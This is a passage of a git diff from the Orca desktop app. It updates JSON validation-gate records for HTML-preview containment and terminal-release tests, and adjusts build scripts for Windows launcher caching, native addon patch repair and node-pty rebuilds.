-        "evidence": "The unchanged STA-4063 five-assertion oracle is red 5/5 on scan e4c278eb52 and latest main bc2e30000b, partially green 2/5 on pre-fix PR #14100, green 5/5 on candidate 14b5877a75, and red 3/5 when only the new transaction cleanup boundary is disabled on final candidate a9e6fb7716. The earlier STA-4025 transaction oracle remains red on the post-#13909 base and green on this candidate. The byte-identical STA-4231 headed oracle is red on latest-main b19d99bd00: both 15-second creates return runtime_timeout without a page ID while the host retains two distinct pages after retry. The relevant behavior is unchanged through 0a0ae974d4. The candidate is green with one returned canonical ID, one host/client page, and no retry; disabling only the navigation-independent acknowledgement is red with the same two orphaned pages. The byte-identical 2ec1dcf1 Electron oracle remains red on latest main 346e59c879, green on candidate d05217c40d, and red with only side-preview focus disabled; historical 5806b23f evidence separately proves owning-runtime routing."
+        "evidence": "The unchanged STA-4063 five-assertion oracle is red 5/5 on scan e4c278eb52 and latest main bc2e30000b, partially green 2/5 on pre-fix PR #14100, green 5/5 on candidate 14b5877a75, and red 3/5 when only the new transaction cleanup boundary is disabled on final candidate a9e6fb7716. The earlier STA-4025 transaction oracle remains red on the post-#13909 base and green on this candidate. The byte-identical STA-4231 headed oracle is red on latest-main b19d99bd00: both 15-second creates return runtime_timeout without a page ID while the host retains two distinct pages after retry. The relevant behavior is unchanged through 0a0ae974d4. The candidate is green with one returned canonical ID, one host/client page, and no retry; disabling only the navigation-independent acknowledgement is red with the same two orphaned pages. The byte-identical 2ec1dcf1 Electron oracle remains red on latest main 346e59c879, green on candidate d05217c40d, and red with only side-preview focus disabled; historical 5806b23f evidence separately proves owning-runtime routing. For the STA-5557 preview behavior the rewritten journey is green 1/1 on the candidate and red when the sole delta makes the same preview action also create a browser tab, failing on clientBrowserWorkspaceCount 1 versus baseline 0. That absence assertion is gated on first reading the rendered document out of the guest, so it cannot pass by the preview never happening. Against pre-STA-5557 builds the journey is red by construction rather than by measurement: those builds have no html-preview tab mode, so the run would fail earlier, at materialization, and it has not been executed against an old build. The reader-facing half is red-green at the unit layer. The 6/6 green and 2/6 red pair recorded earlier on 2026-08-26 measured the superseded shape, where a subresource failure was filtered out entirely; the shipping shape is green 10/10 and red 3/10 when the sole delta makes every failure, asset or entry, set the blocking reason. The containment lines the second review found uncovered are red-green too: installing the scheme handler on the default session instead of the preview session, and widening the scheme privileges with allowServiceWorkers and bypassCSP, each fail the protocol suite as the sole delta, and deleting the html-preview case from the closed-tab cleanup fails the hook suite. The external-link phase added on 2026-08-26 is red-green by measurement: green 3/3 on the trusted-click design, in which the guest's own preload reports a trusted press on an anchor and main answers only a focused preview guest holding a live grant. Its earlier shape depended on the webview carrying allowpopups and went red with zero recorded routing calls when only that attribute was dropped; the preload now intercepts the press before Chromium considers a popup, so the attribute is gone and that measurement retired with it. One further run failed in the paired-client harness before reaching any preview step, when the client window never exposed its store within the launch timeout; that is a harness flake, not a preview signal. The two egress fences added on 2026-08-26 are red-green by measurement in the same journey, whose fixture attempts its own escape on every load and again from inside the handler for the reader's press on the heading: with deny-only navigation sinks the document opens no browser tab and the counts hold at baseline, and with the sole delta that those sinks route again behind a two-second recent-input gate the post-press location.href opens a real tab, clientBrowserWorkspaceCountAllWorktrees 1 against a baseline of 0. An earlier measurement of that same gate, taken when it was the shipping design, showed the unattended on-load egress opening two tabs once the gate was removed entirely; it was retired with the gate, because a gate that cannot tell a script's navigation from the click it followed was never the fence the claim needed. With the guest's IP-handling policy the document reports candidates=0, and with the sole delta that the policy call is removed it reports candidates=6. Both mutants were applied to the shipping module, rebuilt, and run against the live paired journey rather than reasoned about."
       },
       "performanceBudget": {
         "required": true,
@@ -3184,9 +3575,14 @@
       "knownGaps": [
         "Live paired-server validation currently covers macOS only.",
         "Multiple simultaneous viewers are not exercised by the Electron journey.",
-        "Direct SSH remote file URLs remain intentionally unsupported and local file previews retain their existing path."
+        "Local workspaces intentionally keep the embedded browser tab at a file URL and are not covered by the preview journey.",
+        "The SSH preview owner has unit coverage only; no live SSH host renders a preview in this gate.",
+        "The preview journey exercises one self-contained document. Relative subresources, reload re-reading the workspace disk, and the truncated and out-of-worktree refusals are covered by unit contracts only.",
+        "Grant revocation on tab close is asserted at the unit layer; the journey observes the tab and open file disappearing, not the main-process registry.",
+        "The external-link route trusts a real press on an anchor in a focused preview guest, so it proves the reader pressed that anchor, not that the anchor's visible text matches its target. The tab it opens is visible, which is the remaining containment.",
+        "WebRTC is fenced by the IP-handling policy rather than by removing the API; the guest can still construct a peer connection, and the journey measures that it gathers nothing."
       ],
-      "demotionRule": "Demote if one paired HTML action can create duplicate client or host browser identities, lose the requested split, steal editor focus before an explicit browser click, lose browser focus after that click, or remove unrelated editor or terminal state on close."
+      "demotionRule": "Demote if a paired HTML preview creates a browser workspace on either side, renders from anything other than the orca-preview scheme, serves a read the host reported as truncated or over-cap, serves a document without the self-only content security policy, lets the preview session carry an off-machine request, reads an SSH path that canonicalizes outside its grant root, steals focus from the source editor when it opens, removes unrelated editor or terminal state on close, hides a document that rendered because one subresource was refused, leaves a grant readable after the tab or renderer that owns it is gone, mints one for a sender that is not the trusted renderer, opens a browser tab for a navigation the document started with no one at the keyboard, or lets the guest gather an ICE candidate; or if a paired browser creation this gate still owns produces duplicate client or host identities or loses its requested split."
     },
     {
       "id": "browser-network-tunnel.bounded-fail-closed-route",
@@ -12672,16 +13068,18 @@
       "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local", "ssh"],
-      "coverageNotes": "Deterministic service tests cover release-versus-reuse ordering, transactional retain and takeover cancellation, exact host/pane/process identity, dead external/user-owned/transferred/stopped/abandoned reconciliation, conservative unknown provider and legacy metadata handling, immutable transcript and bounded terminal archives, mutation restart, reset cleanup, replay idempotency, and 50-resource accounting. A macOS Electron journey invokes the freshly compiled worker-release CLI after the worker process disappears, then independently checks released SQLite state and coordinator liveness. Injected inventories cover local and SSH provider routing; live SSH, WSL, Windows, paired-runtime, and provider-close lost-ack journeys remain explicit gaps.",
+      "coverageNotes": "Deterministic service tests cover release-versus-reuse ordering, transactional retain and takeover cancellation, exact host/pane/process identity, dead external/user-owned/transferred/stopped/abandoned reconciliation, host-partition persistence and legacy retirement replay with an absent web-terminal layout map, conservative unknown provider and legacy metadata handling, immutable transcript and bounded terminal archives, mutation restart, reset cleanup, replay idempotency, and 50-resource accounting. A macOS Electron journey invokes the freshly compiled worker-release CLI after the worker process disappears, then independently checks released SQLite state and coordinator liveness. Injected inventories cover local and SSH provider routing; live SSH, WSL, Windows, paired-runtime, and provider-close lost-ack journeys remain explicit gaps.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/12355",
         "https://github.com/stablyai/orca/issues/13860",
         "STA-905",
-        "STA-3932"
+        "STA-3932",
+        "STA-5122"
       ],
-      "invariant": "A settled Dispatch may close only its one coordinator-created terminal lease. Explicit reuse, real user input, retain, identity or host change, ambiguity, and another resource for the same exact host/pane/process must fence closure. Once the authoritative owning provider positively excludes the resource's exact immutable process incarnation, even an external, user-owned, or transferred dead resource must converge to released without any process close. Unknown host scope, missing incarnation metadata, or unavailable inventory must remain retained. Output preservation and the requested-to-releasing transition are atomic, archives remain readable without the provider file, retries resume idempotently, and orchestration reset removes archive and authority state.",
-      "oracle": "Record release intent for a settled owner, attempt exact reuse before close, and require worker-start to fail with terminal_release_in_progress while the terminal stays open; then release the original owner exactly once. Race retain and real user input against a controlled archive promise and require no committed archive or close. For retained external, user-owned, transferred, stopped, and abandoned resources, run one fresh inventory against the exact local/WSL or SSH provider: an exact live incarnation and every unknown inventory shape stay retained, while positive absence atomically sets ownership_state and release_state to released with processAction none and zero closeTerminal calls. Change host or process identity and inject duplicate resource evidence to require retention. Freeze a structured transcript, delete its source file, and require archived worker-read to return the same bounded redacted messages. Restart a pending mutation, reset orchestration state, and create 50 resources while asserting replay convergence, zero orphan rows, two-query worker listing, and no unrelated close.",
+      "invariant": "A settled Dispatch may close only its one coordinator-created terminal lease. Explicit reuse, real user input, retain, identity or host change, ambiguity, and another resource for the same exact host/pane/process must fence closure. Once the authoritative owning provider positively excludes the resource's exact immutable process incarnation, even an external, user-owned, or transferred dead resource must converge to released without any process close. Unknown host scope, missing incarnation metadata, or unavailable inventory must remain retained. Exact terminal-close persistence must settle when a host partition omits renderer-owned layout state. Output preservation and the requested-to-releasing transition are atomic, archives remain readable without the provider file, retries resume idempotently, and orchestration reset removes archive and authority state.",
+      "oracle": "Record release intent for a settled owner, attempt exact reuse before close, and require worker-start to fail with terminal_release_in_progress while the terminal stays open; then release the original owner exactly once. Race retain and real user input against a controlled archive promise and require no committed archive or close. Rebase a closed web-terminal host partition without terminalLayoutsByTabId and require the persistence write to complete while preserving host-authoritative membership; replay a valid legacy retirement under the same omission and require exact membership removal plus revision advancement. For retained external, user-owned, transferred, stopped, and abandoned resources, run one fresh inventory against the exact local/WSL or SSH provider: an exact live incarnation and every unknown inventory shape stay retained, while positive absence atomically sets ownership_state and release_state to released with processAction none and zero closeTerminal calls. Change host or process identity and inject duplicate resource evidence to require retention. Freeze a structured transcript, delete its source file, and require archived worker-read to return the same bounded redacted messages. Restart a pending mutation, reset orchestration state, and create 50 resources while asserting replay convergence, zero orphan rows, two-query worker listing, and no unrelated close.",
       "commands": [
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration-worker-release.test.ts src/main/runtime/rpc/methods/orchestration-worker-release-recovery.test.ts src/main/runtime/rpc/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/worker-transcript-read.test.ts src/renderer/src/lib/worker-terminal-takeover-report.test.ts --reporter=dot",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts src/main/runtime/rpc/methods/orchestration-worker-release.test.ts src/main/runtime/rpc/methods/orchestration-worker-release-recovery.test.ts src/main/runtime/rpc/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/worker-transcript-read.test.ts src/renderer/src/lib/worker-terminal-takeover-report.test.ts --reporter=dot",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration-worker-release.test.ts src/main/runtime/rpc/methods/orchestration-worker-release-recovery.test.ts src/main/runtime/rpc/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/worker-transcript-read.test.ts src/renderer/src/lib/worker-terminal-takeover-report.test.ts --reporter=dot",
         "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/completed-worker-retirement-resume.unit.test.ts --reporter=verbose",
@@ -12689,6 +13087,7 @@
       ],
       "testFiles": [
         "src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts",
+        "src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts",
         "src/main/runtime/rpc/methods/orchestration-worker-release.test.ts",
         "src/main/runtime/rpc/methods/orchestration-worker-release-recovery.test.ts",
         "src/main/runtime/rpc/orchestration-mutation-ledger.test.ts",
@@ -12698,6 +13097,13 @@
         "tests/e2e/orchestration-worker-settlement-release-cli.spec.ts"
       ],
       "assertionRefs": [
+        {
+          "file": "src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts",
+          "assertions": [
+            "rebases a host partition that no longer carries the closed web-terminal layout",
+            "replays a legacy retirement when its host partition omits terminal layouts"
+          ]
+        },
         {
           "file": "src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts",
           "assertions": [
@@ -12751,6 +13157,15 @@
         }
       ],
       "evidenceRuns": [
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration-worker-release.test.ts src/main/runtime/rpc/methods/orchestration-worker-release-recovery.test.ts src/main/runtime/rpc/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/worker-transcript-read.test.ts src/renderer/src/lib/worker-terminal-takeover-report.test.ts --reporter=dot",
+          "result": "passed",
+          "durationSeconds": 8.78,
+          "summary": "Seven deterministic files passed 78 tests, including red-green host-partition rebase and legacy-retirement regressions with an absent web-terminal layout map plus exact lease, reuse, takeover, recovery, restart, archive, and accounting contracts."
+        },
         {
           "date": "2026-08-12",
           "runner": "local",
@@ -12789,11 +13204,11 @@
       },
       "redGreenEvidence": {
         "status": "complete",
-        "evidence": "The byte-identical compiled-CLI Electron oracle left the dead resource external/retained on latest main 5ea7df1a5b, passed on combined candidate d697666ce8 with released/released SQLite state and processAction none, and reproduced external/retained after disabling the claimed production files at merge-base 64aec94cb2. The earlier unchanged three-case dead external/user-owned/transferred service oracle likewise failed 3/3 on main, passed 3/3 on candidate, and failed 3/3 with production restored; every run asserted durable state and zero terminal close calls."
+        "evidence": "The version-skew legacy-retirement test deterministically threw at mobile-session-terminal-persistence-retirement.ts:75 before the null-safe layout read and passed with exact tab removal, tombstone cleanup, and topology-revision advancement after the fix. The byte-identical compiled-CLI Electron oracle left the dead resource external/retained on latest main 5ea7df1a5b, passed on combined candidate d697666ce8 with released/released SQLite state and processAction none, and reproduced external/retained after disabling the claimed production files at merge-base 64aec94cb2. The earlier unchanged three-case dead external/user-owned/transferred service oracle likewise failed 3/3 on main, passed 3/3 on candidate, and failed 3/3 with production restored; every run asserted durable state and zero terminal close calls."
       },
       "performanceBudget": {
         "required": true,
-        "evidence": "Normal owned release performs constant-count indexed resource and identity queries plus one bounded archive capture. A retained release performs exactly one bounded inventory against its authoritative local/WSL or specific SSH provider, with no retry, polling, timer, subprocess, renderer subscription, or per-session follow-up fanout. Worker-list uses two set queries rather than one resource lookup per worker."
+        "evidence": "Normal owned release performs constant-count indexed resource and identity queries plus one bounded archive capture. Missing layout maps use constant-time empty-record fallbacks inside the existing explicit persistence pass, with no added scan or allocation proportional to terminal history. A retained release performs exactly one bounded inventory against its authoritative local/WSL or specific SSH provider, with no retry, polling, timer, subprocess, renderer subscription, or per-session follow-up fanout. Worker-list uses two set queries rather than one resource lookup per worker."
       },
       "promotionCriteria": [
         "Collect 100 consecutive focused CI passes or 14 days of soak history.",
@@ -12804,7 +13219,7 @@
       "knownGaps": [
         "Provider close has no durable cross-process operation receipt, so a crash after host mutation but before SQLite settlement remains release_pending until exact inventory returns.",
         "Federated release remains explicitly unsupported and retained.",
-        "Mobile/direct remote input takeover and live Linux, Windows, WSL, SSH, headed, and headless paired-runtime release are not exercised; the current fix changes provider inventory classification and SQLite state only, not ConPTY, filesystem, update, sleep, firewall, or window lifecycle semantics."
+        "Mobile/direct remote input takeover and live Linux, Windows, WSL, SSH, headed, and headless paired-runtime release are not exercised; the host-partition fix changes persistence normalization only, not ConPTY, filesystem, update, sleep, firewall, or window lifecycle semantics."
       ],
       "demotionRule": "Keep experimental or demote if release can overlap exact reuse, close a conflicting lease, lose immutable output, retain reset archives, fan out per worker, or any focused ordering test flakes without a product or harness defect."
     },
diff --git a/config/scripts/build-windows-cli-launcher.mjs b/config/scripts/build-windows-cli-launcher.mjs
index 27c17b3d15c..9d3c9020706 100644
--- a/config/scripts/build-windows-cli-launcher.mjs
+++ b/config/scripts/build-windows-cli-launcher.mjs
@@ -1,41 +1,24 @@
 #!/usr/bin/env node
 
 import { spawnSync } from 'node:child_process'
-import { existsSync, mkdirSync } from 'node:fs'
+import { existsSync, mkdirSync, statSync } from 'node:fs'
 import { dirname, join, resolve } from 'node:path'
+import { pathToFileURL } from 'node:url'
 
-if (process.platform !== 'win32') {
-  // Why: electron-builder treats a skipped native build like success and can
-  // continue toward a Windows package whose declared orca.exe does not exist.
-  throw new Error(
-    'Windows CLI launcher compilation requires a Windows host; refusing to package without it.'
-  )
-}
-
-const repoRoot = resolve(import.meta.dirname, '../..')
-const sourcePath = join(repoRoot, 'native', 'windows-cli-launcher', 'OrcaCliLauncher.cs')
-const outputPath = readArg('--output') ?? defaultOutputPath(repoRoot)
-const compilerPath = findFrameworkCompiler(process.env)
-
-if (!compilerPath) {
-  throw new Error('Unable to find the .NET Framework C# compiler required for orca.exe.')
-}
-
-mkdirSync(dirname(outputPath), { recursive: true })
-const result = spawnSync(
-  compilerPath,
-  ['/nologo', '/target:exe', '/optimize+', '/warnaserror+', `/out:${outputPath}`, sourcePath],
-  { cwd: repoRoot, stdio: 'inherit' }
-)
-
-if (result.signal) {
-  process.kill(process.pid, result.signal)
-}
-if (result.error) {
-  throw result.error
-}
-if (result.status !== 0) {
-  process.exit(result.status ?? 1)
+export function shouldReuseCompiledWindowsCliLauncher(
+  outputPath,
+  sourcePath,
+  { reuseCached = false } = {}
+) {
+  if (!existsSync(outputPath)) {
+    return false
+  }
+  // Why reuseCached: Actions cache keys already hash the C# source, but restore
+  // does not preserve mtimes, so a hit would look stale and recompile anyway.
+  if (reuseCached) {
+    return true
+  }
+  return statSync(outputPath).mtimeMs >= statSync(sourcePath).mtimeMs
 }
 
 function defaultOutputPath(projectRoot) {
@@ -58,3 +41,47 @@ function readArg(name) {
   const index = process.argv.indexOf(name)
   return index !== -1 ? process.argv[index + 1] : undefined
 }
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
+  if (process.platform !== 'win32') {
+    // Why: electron-builder treats a skipped native build like success and can
+    // continue toward a Windows package whose declared orca.exe does not exist.
+    throw new Error(
+      'Windows CLI launcher compilation requires a Windows host; refusing to package without it.'
+    )
+  }
+
+  const repoRoot = resolve(import.meta.dirname, '../..')
+  const sourcePath = join(repoRoot, 'native', 'windows-cli-launcher', 'OrcaCliLauncher.cs')
+  const outputPath = readArg('--output') ?? defaultOutputPath(repoRoot)
+  const compilerPath = findFrameworkCompiler(process.env)
+
+  if (!compilerPath) {
+    throw new Error('Unable to find the .NET Framework C# compiler required for orca.exe.')
+  }
+
+  mkdirSync(dirname(outputPath), { recursive: true })
+  if (
+    shouldReuseCompiledWindowsCliLauncher(outputPath, sourcePath, {
+      reuseCached: process.env.ORCA_REUSE_WINDOWS_CLI_LAUNCHER === '1'
+    })
+  ) {
+    console.log(`[native-build] reusing Windows CLI launcher at ${outputPath}`)
+    process.exit(0)
+  }
+  const result = spawnSync(
+    compilerPath,
+    ['/nologo', '/target:exe', '/optimize+', '/warnaserror+', `/out:${outputPath}`, sourcePath],
+    { cwd: repoRoot, stdio: 'inherit' }
+  )
+
+  if (result.signal) {
+    process.kill(process.pid, result.signal)
+  }
+  if (result.error) {
+    throw result.error
+  }
+  if (result.status !== 0) {
+    process.exit(result.status ?? 1)
+  }
+}
diff --git a/config/scripts/build-windows-cli-launcher.test.mjs b/config/scripts/build-windows-cli-launcher.test.mjs
index 4bb219a5687..82332897715 100644
--- a/config/scripts/build-windows-cli-launcher.test.mjs
+++ b/config/scripts/build-windows-cli-launcher.test.mjs
@@ -5,12 +5,15 @@ import {
   mkdtempSync,
   readFileSync,
   rmSync,
+  statSync,
+  utimesSync,
   writeFileSync
 } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { dirname, join, resolve } from 'node:path'
 import { spawnSync } from 'node:child_process'
 import { describe, expect, it } from 'vitest'
+import { shouldReuseCompiledWindowsCliLauncher } from './build-windows-cli-launcher.mjs'
 
 const itCrossHost = process.platform === 'win32' ? it.skip : it
 const projectRoot = resolve(import.meta.dirname, '../..')
@@ -37,6 +40,33 @@ function itWindows(name, test) {
 }
 
 describe('Windows CLI launcher', () => {
+  it('reuses a compiled launcher that is at least as new as the C# source', () => {
+    const root = mkdtempSync(join(tmpdir(), 'orca-cli-launcher-reuse-'))
+    try {
+      const sourcePath = join(root, 'OrcaCliLauncher.cs')
+      const outputPath = join(root, '.build', 'orca.exe')
+      mkdirSync(join(root, '.build'))
+      writeFileSync(sourcePath, 'source\n')
+      writeFileSync(outputPath, 'binary\n')
+      const later = new Date(statSync(sourcePath).mtimeMs + 1_000)
+      utimesSync(outputPath, later, later)
+
+      expect(shouldReuseCompiledWindowsCliLauncher(outputPath, sourcePath)).toBe(true)
+      writeFileSync(sourcePath, 'changed\n')
+      const sourceLater = new Date(statSync(outputPath).mtimeMs + 1_000)
+      utimesSync(sourcePath, sourceLater, sourceLater)
+      expect(shouldReuseCompiledWindowsCliLauncher(outputPath, sourcePath)).toBe(false)
+      expect(
+        shouldReuseCompiledWindowsCliLauncher(outputPath, sourcePath, { reuseCached: true })
+      ).toBe(true)
+      expect(shouldReuseCompiledWindowsCliLauncher(join(root, 'missing.exe'), sourcePath)).toBe(
+        false
+      )
+    } finally {
+      removeFixtureTree(root)
+    }
+  })
+
   itCrossHost('fails closed when the Windows launcher cannot be compiled on this host', () => {
     const outputRoot = mkdtempSync(join(tmpdir(), 'orca cross-host launcher '))
     try {
diff --git a/config/scripts/build-windows-process-tree-relay-addon.mjs b/config/scripts/build-windows-process-tree-relay-addon.mjs
index 01045eadfbf..3e43beb359e 100644
--- a/config/scripts/build-windows-process-tree-relay-addon.mjs
+++ b/config/scripts/build-windows-process-tree-relay-addon.mjs
@@ -26,9 +26,11 @@ import {
   mkdirSync,
   openSync,
   readFileSync,
-  readSync
+  readSync,
+  writeFileSync
 } from 'node:fs'
-import { join, resolve } from 'node:path'
+import { createRequire } from 'node:module'
+import { dirname, join, resolve } from 'node:path'
 import { RELAY_WINDOWS_PROCESS_TREE_FILENAME } from '../../src/shared/relay-artifacts.ts'
 
 const ROOT = resolve(import.meta.dirname, '..', '..')
@@ -67,13 +69,16 @@ function assertPatchApplied() {
         'config/patches/@vscode__windows-process-tree@0.8.0.patch; run pnpm install.'
     )
   }
-  if (!bindingGyp.includes("require.resolve('node-addon-api/node_addon_api.gyp')")) {
+  if (bindingGyp.includes('node_addon_api.gyp')) {
     throw new Error(
-      'binding.gyp still uses require("node-addon-api").targets. That path is ' +
-        'cwd-relative and misses node_addon_api.gyp under pnpm on Windows. ' +
+      'binding.gyp still depends on node_addon_api.gyp. pnpm and node-gyp rewrite that ' +
+        'project path incorrectly on Windows. ' +
         'pnpm did not apply config/patches/@vscode__windows-process-tree@0.8.0.patch; run pnpm install.'
     )
   }
+  if (!bindingGyp.includes('"include_dirs": ["deps/node-addon-api"]')) {
+    throw new Error('binding.gyp does not use the staged node-addon-api headers.')
+  }
   const processCc = readFileSync(join(PACKAGE_DIR, 'src', 'process.cc'), 'utf8')
   if (processCc.includes('process_count < 1024')) {
     throw new Error(
@@ -83,6 +88,58 @@ function assertPatchApplied() {
   }
 }
 
+// pnpm can materialize this CRLF package without applying its patch. Repair the
+// load-bearing build settings before node-gyp so the release build stays safe.
+function applyWindowsProcessTreeBuildFixes() {
+  const bindingPath = join(PACKAGE_DIR, 'binding.gyp')
+  const processPath = join(PACKAGE_DIR, 'src', 'process.cc')
+  const nodeAddonApiDir = dirname(
+    createRequire(join(PACKAGE_DIR, 'package.json')).resolve('node-addon-api/package.json')
+  )
+  const stagedHeaderDir = join(PACKAGE_DIR, 'deps', 'node-addon-api')
+  let bindingGyp = readFileSync(bindingPath, 'utf8')
+  let processCc = readFileSync(processPath, 'utf8')
+  const originalBinding = bindingGyp
+  const originalProcess = processCc
+
+  for (const dynamicDependency of [
+    String.raw`<!(node -p \"require('node-addon-api').targets\"):node_addon_api_except`,
+    String.raw`<!(node -p \"require.resolve('node-addon-api/node_addon_api.gyp')\"):node_addon_api_except`,
+    '../../node-addon-api/node_addon_api.gyp:node_addon_api_except'
+  ]) {
+    bindingGyp = bindingGyp.replace(`"${dynamicDependency}",`, '')
+  }
+  bindingGyp = bindingGyp.replace(
+    '"include_dirs": []',
+    '"include_dirs": ["deps/node-addon-api"],\n          "defines": ["NAPI_CPP_EXCEPTIONS", "_HAS_EXCEPTIONS=1"]'
+  )
+  if (!bindingGyp.includes('"ExceptionHandling": 1')) {
+    bindingGyp = bindingGyp.replace(
+      '"VCCLCompilerTool": {',
+      '"VCCLCompilerTool": {\n              "ExceptionHandling": 1,'
+    )
+  }
+  bindingGyp = bindingGyp.replace(
+    /\r?\n\s*"msvs_configuration_attributes": \{\s*"SpectreMitigation": "Spectre"\s*\},?/s,
+    ''
+  )
+  processCc = processCc.replace(/process_count < 1024 && /, '')
+
+  if (bindingGyp !== originalBinding) {
+    writeFileSync(bindingPath, bindingGyp)
+  }
+  if (processCc !== originalProcess) {
+    writeFileSync(processPath, processCc)
+  }
+  mkdirSync(stagedHeaderDir, { recursive: true })
+  for (const header of ['napi.h', 'napi-inl.h', 'napi-inl.deprecated.h']) {
+    copyFileSync(join(nodeAddonApiDir, header), join(stagedHeaderDir, header))
+  }
+  if (bindingGyp !== originalBinding || processCc !== originalProcess) {
+    console.warn('[windows-process-tree] Repaired un-applied pnpm patch hunks before build.')
+  }
+}
+
 /** Read the PE machine field, so an arm64 request cannot ship an x64 binary. */
 function readPeMachine(binaryPath) {
   const fd = openSync(binaryPath, 'r')
@@ -109,6 +166,7 @@ function main() {
   if (!existsSync(PACKAGE_DIR)) {
     throw new Error(`${PACKAGE_DIR} is missing. Run pnpm install first.`)
   }
+  applyWindowsProcessTreeBuildFixes()
   assertPatchApplied()
 
   console.log(`[windows-process-tree] building ${arch} from ${PACKAGE_DIR}`)
diff --git a/config/scripts/computer-e2e-workflow.test.mjs b/config/scripts/computer-e2e-workflow.test.mjs
index 11eae65d996..d0489db64cd 100644
--- a/config/scripts/computer-e2e-workflow.test.mjs
+++ b/config/scripts/computer-e2e-workflow.test.mjs
@@ -76,7 +76,6 @@ describe('computer-use e2e workflow', () => {
     )
     const regressionRun = nativeSmokeRuns.find((run) => run.includes('pnpm vitest run'))
     const expectedRegressionFiles = [
-      'config/scripts/computer-e2e-workflow.test.mjs',
       'config/scripts/macos-computer-helper-owner-loss-group-recovery.test.mjs',
       'config/scripts/macos-computer-helper-owner-loss-processes.test.mjs',
       'config/scripts/computer-use-modifier-safety.test.mjs',
@@ -126,10 +125,14 @@ describe('computer-use e2e workflow', () => {
     const job = workflow.jobs['mac-native-owner-smoke']
     const runs = job.steps.map((step) => step.run).filter((run) => typeof run === 'string')
     const checkout = job.steps.find((step) => step.uses === 'actions/checkout@v6')
+    const install = job.steps.find(
+      (step) => step.uses === './.github/actions/install-node-dependencies'
+    )
 
     expect(job.if).toBe("github.event_name == 'pull_request'")
     expect(job['runs-on']).toBe('macos-15')
     expect(checkout.with['persist-credentials']).toBe(false)
+    expect(install.with['native-runtime']).toBe('electron')
     expect(runs).toContain('pnpm bench:macos-computer-helper-owner-loss --expect reaped --trials 1')
     const cleanupRun = runs.find((run) =>
       run.includes('config/scripts/macos-computer-helper-owner-loss-processes.test.mjs')
diff --git a/config/scripts/ensure-native-runtime.mjs b/config/scripts/ensure-native-runtime.mjs
index b570ac0e7ae..424b671b11e 100644
--- a/config/scripts/ensure-native-runtime.mjs
+++ b/config/scripts/ensure-native-runtime.mjs
@@ -4,7 +4,7 @@ import { spawnSync } from 'node:child_process'
 import { createRequire } from 'node:module'
 import { existsSync, readFileSync } from 'node:fs'
 import { release } from 'node:os'
-import { basename, resolve } from 'node:path'
+import { basename, dirname, resolve } from 'node:path'
 
 const require = createRequire(import.meta.url)
 const { assertNodePtyJobOwnership } = require('./node-pty-job-ownership.cjs')
@@ -67,7 +67,12 @@ function ensureNodeRuntime() {
     if (!initial.ok) {
       printCheckError(initial)
     }
-    runPnpm(['rebuild', 'node-pty'])
+    const failedModules = initial.failures.map((failure) => failure.moduleName)
+    const rebuildModules = [
+      'node-pty',
+      ...failedModules.filter((moduleName) => moduleName !== 'node-pty')
+    ]
+    rebuildNodeRuntimeModules(rebuildModules)
     verifyNodeRuntimeAfterRebuild()
     return
   }
@@ -77,7 +82,7 @@ function ensureNodeRuntime() {
     `[native-runtime] ${formatRuntimeLabel('node')} cannot load native modules; rebuilding ${failedModules.join(', ')} for Node.`
   )
   printCheckError(initial)
-  runPnpm(['rebuild', ...failedModules])
+  rebuildNodeRuntimeModules(failedModules)
   verifyNodeRuntimeAfterRebuild()
 }
 
@@ -312,14 +317,10 @@ function getPatchedNodePtyRebuildReason() {
     return null
   }
 
-  // Why: a loadable upstream node-pty prebuild is not enough; Orca's Unix
-  // patch only lands in the source-built build/Release artifacts.
+  // Why: a loadable upstream node-pty prebuild is not enough; Orca's Unix and
+  // Windows patches only land in the source-built build/Release artifacts.
   const nodePtyDir = resolve(projectDir, 'node_modules', 'node-pty')
-  const artifactPaths = [resolve(nodePtyDir, 'build', 'Release', 'pty.node')]
-  // Why: node-pty only builds spawn-helper on macOS; Linux builds only pty.node.
-  if (process.platform === 'darwin') {
-    artifactPaths.push(resolve(nodePtyDir, 'build', 'Release', 'spawn-helper'))
-  }
+  const artifactPaths = patchedNodePtyArtifactPaths(nodePtyDir)
   const missingArtifact = artifactPaths.find((artifactPath) => !existsSync(artifactPath))
 
   if (!missingArtifact) {
@@ -329,11 +330,24 @@ function getPatchedNodePtyRebuildReason() {
   return 'Patched node-pty build artifacts are missing; rebuilding native deps.'
 }
 
-function requiresPatchedNodePtySourceBuild() {
+function patchedNodePtyArtifactPaths(nodePtyDir) {
   if (process.platform === 'win32') {
-    return false
+    const releaseDir = resolve(nodePtyDir, 'build', 'Release')
+    return [
+      resolve(releaseDir, 'conpty.node'),
+      ...NODE_PTY_CONPTY_RUNTIME_FILES.map((filename) => resolve(releaseDir, 'conpty', filename))
+    ]
   }
 
+  const artifactPaths = [resolve(nodePtyDir, 'build', 'Release', 'pty.node')]
+  // Why: node-pty only builds spawn-helper on macOS; Linux builds only pty.node.
+  if (process.platform === 'darwin') {
+    artifactPaths.push(resolve(nodePtyDir, 'build', 'Release', 'spawn-helper'))
+  }
+  return artifactPaths
+}
+
+function requiresPatchedNodePtySourceBuild() {
